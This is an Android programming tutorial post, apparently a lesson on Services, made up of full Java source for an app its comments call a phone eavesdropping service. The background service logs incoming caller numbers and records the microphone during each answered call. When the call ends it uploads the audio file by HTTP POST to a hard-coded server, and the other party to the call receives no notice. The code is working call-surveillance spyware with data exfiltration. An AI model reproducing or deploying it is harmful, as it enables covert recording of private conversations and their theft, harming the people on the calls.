[android] 10_Service-电话监听器

package cn.zengfansheng.interceptcall;
 
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Toast;
 
public class MainActivity extends Activity {
 
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
    }
 
    /**
     * 点击开启一个电话窃听的服务
     *
     * @param view
     */
    public void registerService(View view) {
 
        // TODO 三、开始服务和停止服务
        Intent intent = new Intent(this, PhoneService.class);
        startService(intent);// 开启服务
        Toast.makeText(this, "注册监听服务成功。。。", 0).show();
        // stopService(intent);//停止服务
    }
}

package cn.zengfansheng.interceptcall;
 
import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;
 
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
 
import com.loopj.android.http.AsyncHttpClient;
import com.loopj.android.http.AsyncHttpResponseHandler;
import com.loopj.android.http.RequestParams;
 
/**
* TODO 一、一个类继承Service，成为一个Service
* @author hacket
*/
// 方便理解: service理解成一个没有界面的 长期在后台运行的activity.
public class PhoneService extends Service {
 
    private TelephonyManager tm;
    private MyPhoneListener listener;
 
    // TODO 四、服务被创建的时候调用的方法
    @Override
    public void onCreate() {
        System.out.println("Service is onCreate()...");
        super.onCreate();
        // manager.getLine1Number(); 获取电话号码，只支持电信，移动和联通都为null
        // 1、监听电话呼叫的状态.
        tm = (TelephonyManager) this.getSystemService(Context.TELEPHONY_SERVICE);
        listener = new MyPhoneListener();
        // 2、注册一个监听器 ,监听器 电话呼叫状态的变化.
        tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);// PhoneStateListener
    }
 
    // TODO 五、//服务被销毁的时候调用的方法
    @Override
    public void onDestroy() {
        super.onDestroy();
        // 服务停止了
        // 3、取消电话状态的监听
        tm.listen(listener, PhoneStateListener.LISTEN_NONE);//To unregister a listener, pass the listener object and set the events argument to LISTEN_NONE (0).
        listener = null;
    }
 
    @Override
    public IBinder onBind(Intent intent) {
 
        return null;
    }
    /**
     * TODO MyPhoneListener:监听电话状态Listener
     *
     */
    private class MyPhoneListener extends PhoneStateListener {
 
        private MediaRecorder mediaRecorder;// 录音机
        @Override
        public void onCallStateChanged(int state, String incomingNumber) {
            super.onCallStateChanged(state, incomingNumber);
 
            try {
                switch (state) {
                case TelephonyManager.CALL_STATE_IDLE: // 1、 电话空闲
                    System.out.println("电话空闲了，如果有录音，那么上传录音到服务器。。。");
                    if (mediaRecorder != null) {
                        // 8、停止录音
                        mediaRecorder.stop();
                        // 9、释放资源
                        mediaRecorder.release();
                        mediaRecorder = null;
                        // 上传文件到服务器
                        uploadAudioToServer(Environment.getExternalStorageDirectory()+"/info.3gp");
                    }
                    break;
 
                case TelephonyManager.CALL_STATE_RINGING: // 2、电话响铃
                    System.out.println("电话响铃了，准备好录音机。。。来电号码："+incomingNumber);
                    String storageState = Environment.getExternalStorageState();
                    System.out.println("sdcard状态：" + storageState);
                    if (Environment.MEDIA_MOUNTED.equals(storageState)) { // SDCard已经挂载
                        // 装备录音机
                        prepareMediaRecorder();
                    }
                    break;
 
                case TelephonyManager.CALL_STATE_OFFHOOK: // 3、电话接听
                    System.out.println("电话接听了，开始录音。。。");
                    // 7、开始录音
                    if (mediaRecorder != null) {
                        System.out.println("开始录音了。。。");
                        mediaRecorder.start();
                    }
                    break;
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
 
        /**
         * 准备好录音机
         * @throws IOException
         */
        private void prepareMediaRecorder() throws IOException {
            // TODO 开始准备录音机进行录音
            System.out.println("开始准备录音机进行录音。。。");
            // TODO 准备录音机
            // 1.创建一个mediaRecoder的实例.
            mediaRecorder = new MediaRecorder();
            // 2.指定从哪里获取数据 从话筒 mic里面获取数据
            mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
            // 3.设置输出文件格式
            mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
            // 4.设置输出文件的名称
            mediaRecorder.setOutputFile(Environment.getExternalStorageDirectory()+"/info.3gp");
            // 5.设置音频编码方式.
            mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
            // 6.准备录音机
            mediaRecorder.prepare();
        }
 
        /**
         * 上传文件到服务器
         *
         * @param file 要上传文件的路径url
         * @throws FileNotFoundException
         */
        private void uploadAudioToServer(String file)
                throws FileNotFoundException {
            // TODO 录音文件开始上传
            System.out.println("录音文件开始上传。。。");
            // TODO文件上传到服务器
            AsyncHttpClient asyncHttpClient = new AsyncHttpClient();
            String url = "http://192.168.221.221:8080/FileUpload/FileUploadServlet";
            RequestParams params = new RequestParams();
            File myfile = new File(file);
            params.put("file", myfile);
            asyncHttpClient.post(url, params, new AsyncHttpResponseHandler() {
 
                @Override
                public void onSuccess(String content) {
                    System.out.println("录音上传成功。。。");
                }
 
                @Override
                public void onFailure(Throwable error, String content) {
                    System.out.println("录音上传失败。。。");
                }
            });
        }
 
        /*
         * public void onSignalStrengthsChanged(SignalStrength signalStrength) {//监听信号的强弱变化
         * }
         */
    }
}